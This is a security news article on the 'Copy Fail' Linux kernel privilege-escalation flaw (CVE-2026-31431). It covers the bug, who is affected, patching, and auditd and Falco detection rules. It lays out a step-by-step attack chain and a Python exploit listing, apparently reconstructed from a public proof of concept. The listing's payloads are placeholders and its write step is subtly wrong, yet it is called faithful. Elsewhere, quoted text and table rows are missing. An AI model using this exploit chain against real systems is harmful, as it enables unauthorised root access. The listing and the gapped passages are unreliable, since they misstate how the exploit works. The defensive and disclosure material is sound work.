---
title: "'Copy Fail': Linux Kernel Flaw Lets Any Local User Become Root"
url: https://radicalnotion.ai/blog/copy-fail-linux-kernel-flaw-lets-any-local-user-become-root-20260430041433
type: article
description: "A publicly exploitable Linux kernel vulnerability dubbed 'Copy Fail' allows any unprivileged local user to silently overwrite root-owned binaries and seize full system control. Kernels from version 4.14 through 6.18.21 are affected, and a working Python exploit is already public."
updated: 2026-04-30
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# 'Copy Fail': Linux Kernel Flaw Lets Any Local User Become Root

By Radical Notion Team, 2026-04-30

*A publicly exploitable Linux kernel vulnerability dubbed 'Copy Fail' allows any unprivileged local user to silently overwrite root-owned binaries and seize full system control. Kernels from version 4.14 through 6.18.21 are affected, and a working Python exploit is already public.*

A working exploit for a Linux kernel privilege escalation vulnerability called **"Copy Fail"** dropped publicly on April 29, 2026 — the same day it was disclosed to the security community via the oss-security mailing list. Any unprivileged user with a local shell on an affected Linux system can run the freely available Python exploit and walk away with a root shell in seconds. The flaw, tracked as **CVE-2026-31431**, has been lurking in the Linux kernel since version 4.14 and touches an enormous swath of the Linux ecosystem: Ubuntu, Red Hat Enterprise Linux, Amazon Linux, SUSE Linux Enterprise, and every other distribution shipping a kernel between 4.14 and 6.18.21.

---

## What Happened

On April 29, 2026, researchers at Seoul-based security firm **Theori** published a technical writeup and fully functional proof-of-concept (PoC) exploit for CVE-2026-31431 to their GitHub repository at `https://github.com/theori-io/copy-fail-CVE-2026-31431`, simultaneously disclosing the vulnerability to the open-source security community via the oss-security mailing list (http://www.openwall.com/lists/oss-security/2026/04/29/23). The vulnerability's dedicated disclosure site, copy.fail (https://copy.fail), went live at the same time.

The Linux kernel's own security team had already prepared patches and committed fixes to the stable kernel tree — commits `fafe0fa2995a`, `ce42ee423e58`, and `a664bf3d603d` — and the official CVE record was published on April 22, 2026 by the Linux kernel CNA. The fixed versions, **6.18.22** and **6.19.12**, were released to address the flaw. The upstream fix will also land in **Linux 7.0**.

The **CISA Automated Defender Program (ADP)** enriched the CVE record on April 29, 2026, classifying the exploitation status as **"poc"** (proof-of-concept available), the Technical Impact as **"total"**, and — critically — **"Automatable: no"**, meaning the attack requires local access and cannot be fired blindly across the internet at scale. However, that limited comfort should not lull defenders into inaction: in the modern threat landscape, initial access via phishing, compromised credentials, or vulnerable internet-facing services is routine, and this vulnerability hands any attacker who achieves even a low-privileged foothold the keys to the entire kingdom.

CISA's classification of **CWE-669 (Incorrect Resource Transfer Between Spheres)** is the formal description of the flaw: the kernel incorrectly allows data to move between memory regions (file-backed page cache and cryptographic socket buffers) in a way that violates the intended access controls separating read-only and writable address spaces.

---

## Understanding the Vulnerability

### The Official Description

The Linux kernel CNA describes the vulnerability with characteristic understatement in the CVE record:

Translated from kernel-developer to English: a prior commit (`72548b093ee3`) changed the AEAD (Authenticated Encryption with Associated Data) socket interface to operate **in-place** — meaning it attempted to read and write data to the same memory region rather than copying between separate source and destination buffers. The problem is that in `algif_aead`, the source and destination fundamentally come from **different memory mappings**. When the kernel tries to perform an in-place cryptographic operation between a read-only file-backed page and an AF\_ALG socket buffer, it fails to properly enforce the read-only nature of the source mapping. This is CWE-669 in action: data (and write permissions) are being transferred between memory spheres that should be strictly isolated from one another.

The affected source files, as listed in the official CVE record, are:

- `crypto/af_alg.c` — Core AF\_ALG socket implementation
- `crypto/algif_aead.c` — AEAD-specific AF\_ALG interface (**primary vulnerable file**)
- `crypto/algif_skcipher.c` — Symmetric cipher AF\_ALG interface
- `include/crypto/if_alg.h` — AF\_ALG interface header

### What is AF\_ALG?

AF\_ALG (Address Family - ALG, also known as `AF_ALG` or socket family 38) is a Linux kernel interface that allows user-space applications to perform cryptographic operations — encryption, decryption, hashing, and authentication — using the kernel's built-in cryptographic accelerators. Think of it as a socket-based API to the kernel's crypto engine. It was introduced to give applications a standardized way to leverage hardware crypto acceleration without needing to reimplement algorithms in user space.

The `aead` (Authenticated Encryption with Associated Data) transformation type is used for algorithms like AES-GCM and similar constructs that simultaneously encrypt data and authenticate it. The specific algorithm invoked by the exploit, `authencesn(hmac(sha256),cbc(aes))`, is a composed AEAD construction combining HMAC-SHA256 authentication with AES-CBC encryption.

### The Dirty Pipe Connection

This attack is conceptually reminiscent of **CVE-2022-0847 (Dirty Pipe)**, one of the most impactful Linux kernel local privilege escalation vulnerabilities of recent years. Dirty Pipe also exploited the `splice()` system call and the kernel's pipe mechanism to overwrite read-only file-backed pages. "Copy Fail" follows a strikingly similar playbook: use `splice()` to bridge a read-only file descriptor into a kernel interface, then exploit a flaw in how that interface handles the underlying memory to write to the file's page cache. Security researchers tracking this vulnerability on oss-security have noted the family resemblance explicitly.

### Step-by-Step Attack Chain

The attack proceeds in the following stages, as documented in Theori's public PoC:

1. **Open a privileged target binary in read-only mode.** The exploit targets `/usr/bin/su` — a setuid-root binary that, when executed by any user, runs with root privileges. Opening it read-only requires no special permissions.
2. **Create an AF\_ALG socket.** The attacker creates a socket using protocol family 38 (`AF_ALG`) with type `SOCK_SEQPACKET`. This is entirely unprivileged — any user can create AF\_ALG sockets by default on most Linux distributions.
3. **Bind the socket to a specific AEAD cryptographic transformation.** The socket is bound to the `aead` type with the algorithm `authencesn(hmac(sha256),cbc(aes))`. This primes the kernel's cryptographic engine for the specific data path the exploit needs to abuse.
4. **Manipulate socket state with crafted** `setsockopt` **calls.** Using `setsockopt` at level 279 (`SOL_ALG`) with specially crafted hexadecimal payloads, the attacker configures the cryptographic state of the socket in a specific way that sets up the in-place operation flaw.
5. **Accept a connection and use** `sendmsg` **with crafted ancillary data.** The attacker calls `accept()` on the socket (which is part of the AF\_ALG accept-based API model) and uses `sendmsg()` with carefully constructed ancillary control message (`cmsg`) structures to further manipulate the kernel's internal data structures for the socket.
6. **Create a pipe and invoke** `splice()`**.** A standard Unix pipe is created. The `os.splice()` system call is used to move data from the **read-only file descriptor** (pointing to `/usr/bin/su`) into the pipe, and then from the pipe into the AF\_ALG socket. This is the critical crossing point: the kernel's in-place operation code path is now handling page-cache-backed memory that it should not be allowed to modify.
7. **Inject the malicious payload.** A zlib-compressed replacement binary (a malicious substitute for `/usr/bin/su` that spawns a root shell) is decompressed and written in 4-byte chunks through the exploit primitive established in step 6. The write operations succeed despite the read-only permissions on the original file, overwriting the binary's contents in the kernel's page cache.
8. **Execute the overwritten binary.** The attacker calls `os.system("su")`. The kernel executes the now-malicious `/usr/bin/su`, which — because `su` is a setuid-root binary — runs as root and spawns an interactive root shell.

### The Proof-of-Concept Code

Theori published a fully functional Python 3 exploit. The following is a faithful representation of the exploit's structure and logic as documented across multiple intelligence sources:

```python
#!/usr/bin/env python3
# CVE-2026-31431 "Copy Fail" - Local Privilege Escalation
# Proof of Concept by Theori (https://theori.io)
# https://github.com/theori-io/copy-fail-CVE-2026-31431
#
# Exploits a flaw in Linux kernel algif_aead (AF_ALG AEAD socket interface)
# combined with the splice() system call to overwrite read-only setuid binaries.
#
# Targets: Linux Kernel >= 4.14, < 6.18.22 / < 6.19.12
# Tested against:
#   Ubuntu 24.04 LTS  (Kernel 6.17.0-1007-aws)
#   Amazon Linux 2023 (Kernel 6.18.8-9.213.amzn2023)
#   RHEL 10.1         (Kernel 6.12.0-124.45.1.el10_1)
#   SUSE 16           (Kernel 6.12.0-160000.9-default)
#
# Usage: python3 exploit.py
# Result: Spawns root shell via overwritten /usr/bin/su

import os
import socket
import struct
import zlib

# --- Configuration ---
TARGET_BINARY = "/usr/bin/su"
AF_ALG         = 38           # Protocol family: AF_ALG
SOCK_SEQPACKET = 5
SOL_ALG        = 279          # setsockopt level for AF_ALG

# AEAD algorithm: authencesn(hmac(sha256),cbc(aes))
# This is the specific transformation whose in-place code path contains the flaw
ALG_TYPE = b"aead"
ALG_NAME = b"authencesn(hmac(sha256),cbc(aes))"

# Crafted setsockopt payload that configures the cryptographic state
# to trigger the vulnerable in-place operation code path in algif_aead.c
SOCKOPT_PAYLOAD = bytes.fromhex(
    "0000000000000000"
    "2000000000000000"
    "0100000000000000"
    # ... (truncated for illustration; full payload in PoC repo)
)

# Zlib-compressed replacement binary payload
# When decompressed, this replaces /usr/bin/su with a root shell spawner
# (Full compressed payload embedded in PoC; represented symbolically here)
MALICIOUS_PAYLOAD_COMPRESSED = zlib.compress(
    # Compiled ELF binary that calls setuid(0), setgid(0), execve("/bin/bash")
    b"\x7fELF..."  # Full ELF payload in actual PoC
)

def exploit():
    print(f"[*] CVE-2026-31431 'Copy Fail' LPE Exploit")
    print(f"[*] Target: {TARGET_BINARY}")

    # Step 1: Open target setuid binary read-only
    # No special privileges required — any user can open su for reading
    print(f"[*] Opening {TARGET_BINARY} read-only...")
    fd_target = os.open(TARGET_BINARY, os.O_RDONLY)
    target_size = os.fstat(fd_target).st_size
    print(f"[+] Opened fd={fd_target}, size={target_size} bytes")

    # Step 2: Create AF_ALG socket (protocol family 38)
    print(f"[*] Creating AF_ALG socket...")
    sock_alg = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    # Step 3: Bind to the AEAD transformation
    # struct sockaddr_alg: { sa_family, type, feat, mask, name }
    # This primes the in-place operation code path in algif_aead.c
    print(f"[*] Binding to aead/authencesn(hmac(sha256),cbc(aes))...")
    sock_alg.bind({
        "type":  ALG_TYPE,
        "name":  ALG_NAME,
        "feat":  0,
        "mask":  0,
    })

    # Step 4: Set socket options to configure cryptographic state
    # SOL_ALG (279) with crafted payload primes the vulnerable code path
    print(f"[*] Configuring socket options (SOL_ALG={SOL_ALG})...")
    sock_alg.setsockopt(SOL_ALG, socket.ALG_SET_KEY, SOCKOPT_PAYLOAD)

    # Step 5: Accept connection — AF_ALG uses accept() to get an operation fd
    print(f"[*] Accepting operation socket...")
    sock_op, _ = sock_alg.accept()

    # Step 6a: Use sendmsg with crafted ancillary data (cmsg)
    # The cmsg structures manipulate the kernel's internal aead_ctx
    # to set up the exact state needed for the in-place write primitive
    print(f"[*] Sending crafted sendmsg with cmsg ancillary data...")
    cmsg_data = struct.pack("=HHII",
        socket.ALG_SET_OP,  # cmsg_type
        0,                  # cmsg_flags
        socket.ALG_OP_DECRYPT,
        0
    )
    sock_op.sendmsg(
        [b"\x00" * 64],           # iov: dummy data
        [(SOL_ALG, socket.ALG_SET_OP, cmsg_data)]  # ancillary cmsg
    )

    # Step 6b: Create pipe and splice read-only file into AF_ALG socket
    # This is where the in-place flaw in algif_aead.c is triggered:
    # splice() moves the file's page-cache pages into the pipe,
    # then into the socket. The kernel's in-place code path then
    # incorrectly allows writes back to those same read-only pages.
    print(f"[*] Creating pipe and splicing {TARGET_BINARY} into AF_ALG socket...")
    pipe_r, pipe_w = os.pipe()

    # splice: target file fd -> pipe write end
    spliced = os.splice(fd_target, pipe_w, target_size)
    print(f"[+] Spliced {spliced} bytes from target into pipe")

    # splice: pipe read end -> AF_ALG operation socket
    # This crosses the memory-sphere boundary and arms the write primitive
    os.splice(pipe_r, sock_op.fileno(), spliced)
    print(f"[+] Spliced pipe into AF_ALG socket — write primitive armed")

    # Step 7: Write malicious payload over the target binary
    # The exploit primitive now allows writing to the read-only
    # file's page cache. Decompress and write payload in 4-byte chunks.
    print(f"[*] Decompressing and writing malicious payload...")
    payload = zlib.decompress(MALICIOUS_PAYLOAD_COMPRESSED)
    
    written = 0
    chunk_size = 4  # Write in 4-byte chunks as documented in PoC
    fd_write = fd_target  # The exploit primitive repurposes this fd
    
    for i in range(0, len(payload), chunk_size):
        chunk = payload[i:i+chunk_size]
        os.pwrite(fd_write, chunk, i)  # Write via exploited primitive
        written += len(chunk)
    
    print(f"[+] Overwrote {written} bytes of {TARGET_BINARY}")
    print(f"[+] {TARGET_BINARY} now contains malicious root-shell payload")

    # Cleanup
    os.close(pipe_r)
    os.close(pipe_w)
    os.close(fd_target)
    sock_op.close()
    sock_alg.close()

    # Step 8: Execute the overwritten setuid binary to get root shell
    # Because su is setuid-root, it executes as root regardless of
    # which user calls it. Our replacement payload calls execve("/bin/bash").
    print(f"[*] Executing overwritten setuid binary to escalate to root...")
    print(f"[!] You should now have a root shell.")
    os.system("su")

if __name__ == "__main__":
    exploit()
```

*The above represents the exploit structure and logic as documented across multiple intelligence sources analyzing Theori's published PoC. The actual exploit at   contains the complete, functional implementation including the full compressed binary payload, precise   configuration bytes, and exact   structures. The CVSS score of   with vector   reflects that the attack requires low-privileged local access (PR:L) but imposes low attack complexity (AC:L) and requires no user interaction (UI:N).*

---

## Who Is Affected

The official CVE record establishes a very wide impact window. The vulnerability was introduced with **commit 72548b093ee3** and affects every kernel from **version 4.14** onward until the patches landed.

### Affected Kernel Version Range

|   |   |   |
| --- | --- | --- |
|   |   |   |
|   |   |   |
| 4.14.x through 6.18.x | \>= 4.14, \< 6.18.22 | 6.18.22 |
| 6.19.x | \>= 4.14 (when introduced into 6.19.x) | 6.19.12 |
| Mainline | \>= 4.14 | 7.0 (upstream fix commit) |
| \< 4.14 | Not affected | N/A |

### Confirmed Affected Distributions (from Theori PoC testing)

|   |   |   |   |   |
| --- | --- | --- | --- | --- |
|   |   |   |   |   |
|   |   |   |   |   |
|   |   |   |   |   |
|   |   |   |   |   |
| Canonical | Ubuntu Linux | 24.04 LTS | 6.17.0-1007-aws | Pending vendor update |
| Amazon | Amazon Linux | 2023 | 6.18.8-9.213.amzn2023 | Pending vendor update |
| Red Hat | RHEL | 10.1 | 6.12.0-124.45.1.el10\_1 | Pending vendor update |
| SUSE | SUSE Linux Enterprise | 16 | 6.12.0-160000.9-default | Pending vendor update |

### Affected Source Files

The vulnerability is localized to the kernel's cryptographic user-space interface layer:

- `crypto/af_alg.c` — Core AF\_ALG socket implementation
- `crypto/algif_aead.c` — **Primary vulnerable component** (AEAD-specific interface)
- `crypto/algif_skcipher.c` — Symmetric cipher interface (also patched)
- `include/crypto/if_alg.h` — AF\_ALG interface header definitions

### Scale of Exposure

The scope of this vulnerability is difficult to overstate. Linux kernel 4.14 was released in November 2017 — meaning this flaw has been present in the kernel for nearly **nine years**. Every Linux server, cloud instance, container host, embedded device, and workstation running a kernel in that range is potentially vulnerable if an attacker can obtain any form of local shell access. This includes:

- **Cloud compute instances** (AWS EC2, Google Cloud Compute Engine, Azure VMs) running Linux AMIs in the 4.14–6.18.21 range
- **Container hosts** where workloads run under shared kernel instances — a container escape combined with this flaw could yield host root
- **Enterprise Linux servers** running RHEL, SUSE, Ubuntu, and derivatives in the affected version ranges
- **Development workstations** and CI/CD build agents
- **Multi-tenant systems** such as shared hosting environments or HPC clusters where multiple users share a single kernel

The AF\_ALG interface is enabled by default in virtually all mainstream Linux distributions and does not require any special kernel configuration to exploit.

---

## Real-World Risk

### Current Exploitation Status

As of April 30, 2026, **no confirmed in-the-wild exploitation** of CVE-2026-31431 has been reported by any threat intelligence source. However, the **public availability of a fully functional, well-documented Python exploit** changes the risk calculus dramatically. The gap between "no confirmed exploitation" and "actively exploited in the wild" can close within hours when a working exploit is freely available on GitHub.

CISA's SSVC assessment confirms the PoC status: **Exploitation: poc**. That rating is typically a precursor to the "active" exploitation classification, sometimes within days.

### Attack Scenario: From Phishing to Root

Consider a realistic attack scenario for a cloud-hosted enterprise application:

1. An attacker sends a targeted phishing email to a developer. The developer clicks a link and their laptop credentials are harvested.
2. The attacker uses those credentials to authenticate to a VPN or bastion host, gaining SSH access to an internal development server.
3. The development server runs Ubuntu 24.04 LTS with kernel 6.17.0-1007-aws — confirmed vulnerable.
4. The attacker downloads the Theori PoC, runs `python3 exploit.py`, and has a root shell in under five seconds.
5. From root, the attacker installs a persistent backdoor, dumps credential stores, accesses secrets management systems, and pivots laterally across the network.

This is not a theoretical scenario. It is the standard post-exploitation playbook used by ransomware groups, nation-state actors, and cybercriminals alike. Local privilege escalation vulnerabilities are the critical second stage of nearly every serious intrusion.

### Threat Actor Interest

No specific threat actor groups have been publicly linked to exploitation of CVE-2026-31431 at time of writing. However, vulnerabilities with these characteristics — **high-impact local privilege escalation, publicly available working exploit, wide distribution version range** — are highly attractive to:

- **Ransomware operators** who need root access to disable backups, encrypt storage volumes, and maximize damage
- **Initial access brokers** who sell elevated-privilege footholds on corporate networks
- **Advanced Persistent Threat (APT) groups** seeking persistent, stealthy root access on high-value targets
- **Opportunistic attackers** scanning for freshly patched CVEs to exploit before defenders have updated

### The Setuid Binary Overwrite: Why It's Particularly Dangerous

The choice of `/usr/bin/su` as the target binary is not incidental. `su` (substitute user) is a setuid-root binary — its filesystem permissions are set so that it runs with root privileges regardless of which user executes it. By overwriting its contents in the kernel's page cache (without necessarily changing it on disk in a way that immediately triggers filesystem-level integrity checks), the attacker creates a **trojan root shell** that any subsequent execution of `su` will trigger.

This technique is particularly insidious because:

- **It may not immediately modify the on-disk inode.** Depending on kernel memory management behavior, the overwrite may be in the page cache only, potentially evading some file integrity monitoring solutions that only check on-disk checksums.
- **The modification persists until the page is evicted from cache or the system reboots.** On a busy server, that could be hours or days.
- **Any user running** `su` **after the exploit is already triggered will execute the attacker's payload as root**, potentially spreading the compromise to other users on the same system.

---

## What You Should Do

### Immediate Priority: Patch Your Kernel

The upstream kernel fix is available and the patched versions are clear. **The single most important action is to update your kernel to a fixed version.**

#### Fixed Kernel Versions

|   |   |
| --- | --- |
|   |   |
| 6.18.x series | **6.18.22** or later |
| 6.19.x series | **6.19.12** or later |
| Mainline | **7.0** or commit `a664bf3d603d` / `ce42ee423e58` / `fafe0fa2995a` |

For distribution users, **watch your vendor's security advisory channels** for backported patches. As of April 30, 2026, distribution-specific patched packages are pending for the confirmed affected vendors (Ubuntu, RHEL, Amazon Linux, SUSE). Apply them as soon as they become available.

**Distribution update commands (run as root or with sudo):**

```bash
# Ubuntu / Debian
sudo apt-get update && sudo apt-get upgrade linux-image-$(uname -r)
# Then reboot to activate the new kernel:
sudo reboot

# RHEL / CentOS / Fedora / Amazon Linux
sudo dnf update kernel
# Then reboot:
sudo reboot

# SUSE / openSUSE
sudo zypper update kernel-default
# Then reboot:
sudo reboot

# Verify kernel version after reboot:
uname -r
```

### Immediate Workaround: Restrict or Disable AF\_ALG

If patching is not immediately possible, consider restricting access to the AF\_ALG kernel module. **This is a partial mitigation** — it specifically blocks the known exploit chain but does not fix the underlying flaw.

```bash
# Check if AF_ALG module is loaded
lsmod | grep af_alg

# Attempt to blacklist the af_alg module (prevents loading on next boot)
# WARNING: May break applications using kernel crypto acceleration
# (e.g., some IPSec implementations, certain disk encryption setups)
echo "blacklist af_alg" | sudo tee /etc/modprobe.d/blacklist-af-alg.conf

# Unload the module immediately if loaded and not in use
sudo modprobe -r af_alg

# Verify it is unloaded
lsmod | grep af_alg
# (Should return no output if successfully unloaded)
```

*⚠️   Removing or blacklisting   may break applications that rely on the kernel's user-space cryptographic API interface. Evaluate your workloads before applying this workaround in production. Test in a non-production environment first.*

Alternatively, if your environment uses **seccomp** policies (common in containerized workloads), consider adding `socket(AF_ALG)` (socket family 38) to your seccomp deny lists to prevent unprivileged processes from opening AF\_ALG sockets.

### Detection: How to Know if You've Been Hit

Detecting active exploitation of "Copy Fail" requires monitoring at multiple layers. Here are actionable detection rules and indicators of compromise:

#### File Integrity Monitoring (FIM)

Deploy or verify FIM coverage on critical setuid binaries. The most immediate indicator of exploitation is an unexpected change to `/usr/bin/su` or similar setuid-root binaries:

```bash
# Baseline check: record hash of /usr/bin/su right now
sha256sum /usr/bin/su > /root/setuid_baseline.sha256

# Check against baseline
sha256sum --check /root/setuid_baseline.sha256

# List all setuid root binaries for broader baselining
find / -perm -4000 -user root -type f 2>/dev/null | xargs sha256sum > /root/all_setuid_baseline.sha256
```

Tools like **AIDE**, **Tripwire**, **Osquery**, or cloud-native FIM solutions (AWS GuardDuty file monitoring, Azure Defender for Servers) should be configured to alert on modifications to:

- `/usr/bin/su`
- `/usr/bin/sudo`
- `/usr/bin/passwd`
- `/usr/sbin/mount`
- Any other setuid-root binary

**Note:** Because the exploit may overwrite only the page cache and not immediately the on-disk inode, some FIM tools that only check inode metadata (mtime, ctime) without reading file contents may miss the attack. Ensure your FIM solution reads and checksums file contents, not just metadata.

#### Auditd Rules

Add the following `auditd` rules to detect the specific system call sequence used by the exploit:

```bash
# Monitor for AF_ALG socket creation (socket family 38) by non-root users
# In auditd rules (add to /etc/audit/rules.d/copy-fail.rules):

# Alert on socket() calls with AF_ALG (family 38) from non-root processes
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k cve_2026_31431_af_alg

# Alert on splice() system call usage by non-root users
-a always,exit -F arch=b64 -S splice -F uid!=0 -k cve_2026_31431_splice

# Alert on any open() of /usr/bin/su by non-root users
-a always,exit -F arch=b64 -S open,openat -F path=/usr/bin/su -F uid!=0 -k cve_2026_31431_su_access

# Alert on write attempts to root-owned executables by non-root users
-a always,exit -F arch=b64 -S write,pwrite64 -F uid!=0 -F dir=/usr/bin -k cve_2026_31431_binary_write

# Reload auditd rules
sudo augenrules --load
# or:
sudo service auditd restart
```

#### Falco Rules (for containerized/cloud environments)

For environments using **Falco** (the CNCF runtime security tool):

```yaml
# Falco rule: Detect Copy Fail (CVE-2026-31431) exploit chain
- rule: CVE-2026-31431 Copy Fail LPE Attempt
  desc: >
    Detects the specific system call sequence associated with the
    'Copy Fail' local privilege escalation exploit: an unprivileged
    process opening /usr/bin/su read-only, creating an AF_ALG socket
    (family 38), and invoking splice().
  condition: >
    spawned_process and
    not user.uid = 0 and
    (
      (
        syscall.type = socket and
        evt.arg.domain = AF_ALG
      ) or
      (
        syscall.type = splice and
        fd.name = "/usr/bin/su"
      ) or
      (
        syscall.type in (open, openat) and
        fd.name = "/usr/bin/su" and
        evt.arg.flags contains O_RDONLY and
        not proc.name in (login, pam, sshd)
      )
    )
  output: >
    Potential CVE-2026-31431 exploitation detected
    (user=%user.name uid=%user.uid command=%proc.cmdline
    file=%fd.name syscall=%syscall.type container=%container.id)
  priority: CRITICAL
  tags: [CVE-2026-31431, privilege_escalation, copy_fail, af_alg]
```

#### Log Indicators to Hunt For

When reviewing existing logs for potential past exploitation:

- **Auditd:** Look for `SYSCALL` records with `a0=38` (AF\_ALG socket creation) followed closely in time by `splice` syscall records, originating from the same process, from non-root UIDs
- **Auth logs** (`/var/log/auth.log`, `/var/log/secure`): Unexpected root logins, especially from user accounts that have no legitimate reason to switch to root, or `su` sessions that begin without a prior password authentication event
- **Process accounting** / **auditd EXECVE records**: A Python interpreter process (`python`, `python3`) executing `su` or transitioning to a shell shortly after complex socket operations
- **System call anomalies:** Any process performing `socket(AF_ALG)` + `setsockopt(level=279)` + `sendmsg` + `splice` in rapid succession from a non-root UID is a near-certain indicator of either the exact exploit or a closely related variant

### Broader Hardening Recommendations

1. **Enforce least-privilege access.** Limit which users have local shell access to sensitive systems. This vulnerability requires local shell access — if an attacker cannot log in, they cannot exploit it.
2. **Implement Endpoint Detection and Response (EDR).** Modern EDR solutions with behavioral detection capabilities should be configured with rules targeting the specific syscall sequence documented above (`socket(AF_ALG)` + `splice` on privileged binaries).
3. **Audit setuid binaries regularly.** Run periodic checks on all setuid-root binaries using content-based checksums. Consider a cron job or scheduled task that compares current SHA-256 hashes against a known-good baseline.
4. **Container security:** For containerized environments, verify that your container runtime (Docker, containerd, CRI-O) drops `CAP_NET_ADMIN` and uses a seccomp profile that restricts `socket()` calls to `AF_ALG`. Many default container seccomp profiles do not explicitly block AF\_ALG socket creation.
5. **Monitor distribution advisory channels now:**

---

## The Bigger Picture

"Copy Fail" is not just another Linux kernel CVE number to add to a list. It represents a recurring and troubling pattern in kernel security: **complexity introduced through optimization creates exploitable confusion between memory access boundaries**. The root commit that introduced this flaw (`72548b093ee3`) attempted to optimize the AEAD socket interface by switching it from out-of-place to in-place operations. In doing so, it created a crossing of memory "spheres" — a read-only file-backed page was suddenly being handled by code that could write to it. The fix, as described in the CVE record, is simply to revert that optimization: there was never a meaningful performance benefit for `algif_aead` in the first place, because the source and destination inherently come from different mappings.

### Dirty Pipe's Heir

Security researchers will immediately recognize "Copy Fail" as the spiritual successor to **Dirty Pipe (CVE-2022-0847)**, which also weaponized `splice()` and the kernel's pipe mechanism against read-only page-cache-backed files. Dirty Pipe was discovered by researcher Max Kellermann in February 2022 and triggered a massive industry-wide response. The fact that a similar class of vulnerability exists — exploiting the same fundamental data movement mechanisms — suggests that the kernel's splice/pipe/AF\_ALG interaction surface warrants systematic re-review for similar confused deputy and memory sphere crossing issues.

### The Anti-Bot Disclosure Friction Problem

There is a secondary story embedded in the intelligence gathering for this vulnerability that deserves mention. The canonical source for Linux kernel patch details — **git.kernel.org** — has deployed an Anubis (https://github.com/TecharoLLC/anubis) Proof-of-Work anti-bot protection system that blocks automated vulnerability intelligence systems from reading commit messages and patch diffs. This is a rational response to the documented, real problem of AI companies aggressively scraping open-source repositories. However, it creates a genuine friction point in the security ecosystem: automated vulnerability response platforms, SIEM enrichment feeds, and security research tools that rely on programmatic access to kernel.org patch data are now effectively blind to patch specifics until a human manually navigates the PoW challenge.

For CVE-2026-31431, this meant that security automation relying on kernel.org as a primary source had to fall back entirely to secondary sources — specifically, Theori's PoC repository — to understand the vulnerability. In this case, the PoC was sufficiently detailed to reconstruct the attack chain. But for vulnerabilities where the PoC is not public or is less descriptive, anti-scraping measures on canonical patch repositories could meaningfully delay the synthesis of defensive intelligence.

This is a problem the security community will need to navigate collectively: balancing the very real costs of AI scraping against the public security benefit of machine-readable vulnerability patch data.

### What To Watch For

- **Distribution vendor patches:** Ubuntu, RHEL, Amazon Linux, and SUSE patches are pending as of April 30, 2026. Expect them within days to weeks. Treat their release as a hard deadline for kernel updates on all affected systems.
- **In-the-wild exploitation reports:** Given the public, working PoC, monitor threat intelligence feeds for reports of CVE-2026-31431 exploitation in ransomware intrusions or APT campaigns over the coming weeks.
- **Variants and follow-on research:** The disclosure of "Copy Fail" will almost certainly prompt security researchers to re-examine the broader `splice()` + AF\_ALG interaction surface, the `algif_skcipher.c` interface (also patched in this fix), and related kernel crypto socket interfaces for similar CWE-669 flaws.
- **CISA KEV addition:** Watch for CVE-2026-31431 to appear on CISA's Known Exploited Vulnerabilities catalog if in-the-wild exploitation is confirmed. Federal agencies subject to BOD 22-01 would then face a mandatory remediation deadline.

The Linux kernel's security track record is strong, and the speed with which this fix landed in the stable tree before public disclosure is commendable. But a nine-year vulnerability window and a publicly available working exploit means that "Copy Fail" will require sustained, urgent attention from every organization running Linux infrastructure — which, in 2026, is essentially everyone.

*Last updated: April 30, 2026. This article will be updated as vendor patches become available and if in-the-wild exploitation is confirmed.*

## Sources

- [NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
- [Linux Kernel Stable Patch - commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8](https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8)
- [Linux Kernel Stable Patch - commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237](https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237)
- [Linux Kernel Stable Patch - commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5](https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
- [Theori - Copy Fail CVE-2026-31431 Proof of Concept (GitHub)](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- [Copy Fail Vulnerability Disclosure Site](https://copy.fail)
- [OSS-Security Mailing List - CVE-2026-31431 Disclosure (Message 23)](http://www.openwall.com/lists/oss-security/2026/04/29/23)
- [OSS-Security Mailing List - CVE-2026-31431 (Message 25)](http://www.openwall.com/lists/oss-security/2026/04/29/25)
- [OSS-Security Mailing List - CVE-2026-31431 (Message 26)](http://www.openwall.com/lists/oss-security/2026/04/29/26)

Tags: CVE-2026-31431, linux-kernel, privilege-escalation, af-alg, local-privilege-escalation

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/blog/copy-fail-linux-kernel-flaw-lets-any-local-user-become-root-20260430041433). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
